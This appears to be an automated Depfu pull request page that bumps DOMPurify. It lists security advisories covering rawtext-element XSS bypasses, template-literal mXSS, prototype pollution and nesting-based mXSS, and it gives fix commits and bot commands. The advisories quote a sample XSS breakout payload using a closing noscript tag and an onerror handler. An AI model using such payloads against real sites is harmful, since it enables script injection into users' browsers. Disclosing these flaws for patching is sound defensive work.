DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like </textarea> in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.

🚨 DOMPurify contains a Cross-site Scripting vulnerability

DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in 2.5.9 and 3.3.2, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFE_FOR_XML regex. Attackers can include payloads like </noscript><img src=x onerror=alert(1)> in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.

🚨 DOMPurify contains a Cross-site Scripting vulnerability

DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in 2.5.9 and 3.3.2, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFE_FOR_XML regex. Attackers can include payloads like </noscript><img src=x onerror=alert(1)> in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.

🚨 DOMPurify allows Cross-site Scripting (XSS)

DOMPurify before 3.2.4 has an incorrect template literal regular expression when SAFE_FOR_TEMPLATES is set to true, sometimes leading to mutation cross-site scripting (mXSS).

🚨 DOMPurify vulnerable to tampering by prototype polution

dompurify was vulnerable to prototype pollution

Fixed by d1dd037

🚨 DOMpurify has a nesting-based mXSS

DOMpurify was vulnerable to nesting-based mXSS

fixed by 0ef5e537 (2.x) and
merge 943

Backporter should be aware of GHSA-mmhx-hmjr-r674 (CVE-2024-45801) when cherry-picking

POC is avaible under test

🚨 DOMpurify has a nesting-based mXSS

DOMpurify was vulnerable to nesting-based mXSS

fixed by 0ef5e537 (2.x) and
merge 943

Backporter should be aware of GHSA-mmhx-hmjr-r674 (CVE-2024-45801) when cherry-picking

POC is avaible under test

🚨 DOMPurify allows tampering by prototype pollution

It has been discovered that malicious HTML using special nesting techniques can bypass the depth checking added to DOMPurify in recent releases. It was also possible to use Prototype Pollution to weaken the depth check.

This renders dompurify unable to avoid XSS attack.

Fixed by 1e52026 (3.x branch) and 26e1d69 (2.x branch).

🚨 DOMPurify allows tampering by prototype pollution

It has been discovered that malicious HTML using special nesting techniques can bypass the depth checking added to DOMPurify in recent releases. It was also possible to use Prototype Pollution to weaken the depth check.

This renders dompurify unable to avoid XSS attack.

Fixed by 1e52026 (3.x branch) and 26e1d69 (2.x branch).

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

🆕 @​types/trusted-types (added, 2.0.7)


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants